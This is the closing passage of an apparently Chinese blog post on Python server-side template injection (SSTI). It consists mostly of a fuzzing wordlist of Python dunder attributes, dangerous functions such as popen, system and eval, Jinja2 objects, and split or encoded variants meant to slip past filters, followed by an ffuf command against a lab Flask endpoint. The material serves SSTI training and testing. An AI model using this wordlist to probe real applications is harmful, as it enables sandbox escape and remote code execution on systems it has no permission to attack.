608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
__class__
__base__
__mro__
__subclasses__
__init__
__globals__
__builtins__
__getitem__
__getattribute__
__str__
__repr__
__call__
__dict__
__dir__
__name__
__file__
__doc__
__enter__
__exit__
__reduce__
__reduce_ex__
__import__
__add__
__mod__
__format__
eval
exec
open
compile
input
__import__
popen
system
read
readlines
write
writelines
communicate
wait
get_data
load_module
system
system_shell
execute
subprocess
check_output
run
call
listdir
chdir
getcwd
mkdir
remove
unlink
rename
catch_warnings
warnings
os._wrap_close
_AddedDllDirectory
subprocess.Popen
subprocess
zipimporter
FileLoader
NamespaceLoader
NamespacePath
Quitter
_Printer
WarningMessage
finalize
ModuleSpec
FileFinder
Bucket
TemplateReference
Context
BlockReference
LoopContext
Macro
Undefined
Environment
TemplateExpression
TemplateStream
Bytecode
os
sys
builtins
importlib
subprocess
ctypes
codecs
linecache
warnings
zipimport
sitebuiltins
weakref
pickle
jinja2
dis
_
__
.
[
]
(
)
{
}
%
+
~
|
/
\
*
=
:
;
'
"
`
,
<
>
!
@
#
$
^
&
?
空格
%0a
%0d
%00
%20
%2e
%2f
%5c
%7b
%7d
%5f
__cl
ass__
__ba
se__
__subcla
sses__
__in
it__
__globa
ls__
__geti
tem__
__buil
tins__
__impo
rt__
pop
en
syste
m
read
write
eval
ex
ec
length
count
join
reverse
replace
list
string
urlencode
select
reject
attr
int
float
lower
upper
title
trim
escape
safe
default
first
last
sort
groupby
batch
slice
random
\x5f\x5fclass\x5f\x5f
\x5f\x5fbase\x5f\x5f
\x5f\x5fsubclasses\x5f\x5f
\x5f\x5finit\x5f\x5f
\x5f\x5fglobals\x5f\x5f
\x5f\x5fbuiltins\x5f\x5f
\x5f\x5fgetitem\x5f\x5f
\u005f\u005fclass\u005f\u005f
\u005f\u005fbase\u005f\u005f
\u005f\u005fsubclasses\u005f\u005f
%5f%5fclass%5f%5f
%5f%5fbase%5f%5f
%5f%5fsubclasses%5f%5f
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
name
user
username
id
page
search
q
query
keyword
code
data
input
value
text
msg
content
title
body
param
option
setting
config
lang
redirect
url
next
callback
function
action
method
route
path
file
filename
image
img
avatar
attachment
upload
download
dir
folder
target
host
port
ip
address
domain
token
key
secret
password
passwd
pwd
auth
login
register
admin
debug
test
mode
status
type
format
ext
order
sort
limit
offset
pageNo
pageNum
start
end
from
to
date
time
timestamp
json
xml
html
response
output
result
info
list
item
field
column
table
db
database
sql
query
filter
where
groupby
orderby
join
union
select
insert
update
delete
drop
create
alter
exec
execute
shell
cmd
command
run
popen
subprocess
os
sys
builtins
import
module
class
init
globals
locals
vars
lipsum
url_for
get_flashed_messages
config
request
session
g
current_app
cycler
joiner
namespace
range
dict
self
''
""
[]
()
{}
None
True
False
{
}
{}{
{{
}}
{%
%}
[
]
[]
][
[
[
]]
(
)
()
)(
(
((
))
)
.
..
...
:
:
:
;
;
;
=
==
+=
-=
*=
/=
%=
&=
|=
^=
>>=
<<=
**
*
//
/
%
+
-
~
|
&
^
<<
>>
<
>
<=
>=
==
!=
#
##
#{
${
${{
`
`
``
'
"
'
"
'
"
\\
\'
\"
\n
\r
\t
\b
\f
\x00
\u0000
\U00000000
{%
%}
{{
}}
{{
}}
{%
%}
#{
##
#{{
${{
${{
{{{
}}}
{{{
}}}
{{
}}
{%
%}
{{-
-}}
{{+
+}}
{{~
~}}
{{|
|}}
{{&
&}}
"""
'''
\
\\
\'
\"
\n
\r
\t
\b
\f
\x00
\x5f
\u005f
%5f
%5F
__
__
___
____
_____
______
_______
________
_________
__________
{{
{{
{{
{ {
{{ {
{{}
{ {} }
{ { {} } }

可以使用ffuf进行探测

1
ffuf -X POST -u http://192.168.8.133:18080/flasklab/level/13 -d "code=FUZZ" -w ssti_ffuf.txt -mr "A"

ssti模板注入手法总结python篇(二)
https://exploreio.github.io/2026/04/05/ssti-sec2/
作者
ExploreIO
发布于
2026年4月5日
许可协议